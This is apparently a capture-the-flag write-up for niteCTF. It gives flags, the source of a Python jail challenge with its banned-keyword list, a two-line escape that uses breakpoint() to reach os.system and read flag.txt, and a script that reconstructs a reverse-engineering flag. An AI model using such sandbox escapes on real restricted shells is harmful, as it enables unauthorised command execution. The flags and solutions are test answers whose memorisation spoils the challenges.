Nitectf

Misc

welcome

nite{r37dy_70_n1t3_n1t3_n1t3333}

blindjail

Python jail escape

source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# print(getattr("".__class__.___mro___.__subclasses__()[108])().load_module("\x6f\x73"),"")
# subclasses = "".__class__.__mro__[1].__subclasses__()
# print("Subclasses:", subclasses)


def checker(inp):
# a = inp # f'flag'+ inp
# print(a)
# redact the keyword lists

for keyword in [
"eval",
"exec",
"import",
"open",
"os",
"read",
"system",
"write",
"subprocess",
"str",
"flag",
"import",
"cat",
"63",
]:
if keyword in inp:
print(f" Nope, {keyword} is banned! ")
break
else:
o = exec(inp, {}, {})
if o is not None:
print(o)


print(
"------------------------------------------------------------- \n WELCOME TO THE BLINDJAIL \n --------------------------------------------------------\n "
"\x1B[3m fret not that you cannot see, fret that you cannot leave.\x1B[0m "
)
while True:
try:
inp = input(">>> ")
if inp.lower() == "exit":
break
checker(inp)
except KeyboardInterrupt:
print("\nBye!")
break
except EOFError:
print("\nBye!")
break
except BaseException as e:
print("look for the light! \n", e.args)

exp

1
2
>>> breakpoint()
>>> __import__('os').system('cat flag.txt')

Reverse

Zealot

Just sort out the logic.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
a1 = [0 for i in range(42)]
a1[0] = 110
a1[1] = 105
a1[2] = 116
a1[3] = 101
a1[4] = 67
a1[5] = 84
a1[6] = 70
a1[7] = 123
a1[8] = 103
a1[9] = 111
a1[10] = a1[9]
a1[12] = 95
a1[17] = 104
a1[18] = a1[3]
a1[19] = 70 + 27
a1[21] = 116
a1[20] = ((a1[1] + a1[3]) & 0x8450 ^ 0x40 | 0x6C)
a1[22] = ((a1[9] ^ a1[12]) & 0xB00B ^ 0x68)
a1[23] = (((a1[12] - 903645652) & 0x62486926 | 0x4020040) ^ 0x4602601D)
a1[24] = (((a1[5] - 456630272) & 0x9594815B | 0x4A6B0680) ^ 0xCEEB06B2)
a1[25] = ((a1[4] >> 3) & 0x120D ^ 0x69)
a1[26] = ((a1[24] ^ 0x66) & 0x400001 | 0x64)
a1[27] = (((a1[12] + 802870624) & 0xC0A28043 | 0x395D4B28) ^ 0x39DFCB74)
a1[28] = 102
a1[31] = (((a1[12] + 1050330464) & 0xDA04A63F | 0x995980) ^ 0x1A99DDE0)
a1[32] = a1[18]
a1[33] = ((a1[24] ^ 0x62) & 1 | 0x64)
a1[35] = (((102 << 25) ^ 0x60000000) & 0x200610 | 0x63)
a1[36] = a1[19]
a1[37] = a1[1] ^ 0x1d
a1[40] = a1[0]
a1[41] = 125

a1[11] = a1[22] - 4
a1[14] = ((a1[31] ^ 125) & 0x8E56 ^ 0x6D)
a1[15] = (a1[20] ^ 0x4E | 0x50)
a1[29] = a1[14]
a1[30] = (a1[20] ^ 0x4E | 0x50)
a1[39] = a1[29]
a1[13] = (a1[20] & 0x4696)^ 0x62
a1[38] = (~a1[13] & a1[20] ^ 9 | 0x68)

for i in a1:
print(chr(i),end='')

Just submit the nc target machine.

niteCTF{good_for_health_bad_for_ed_cation}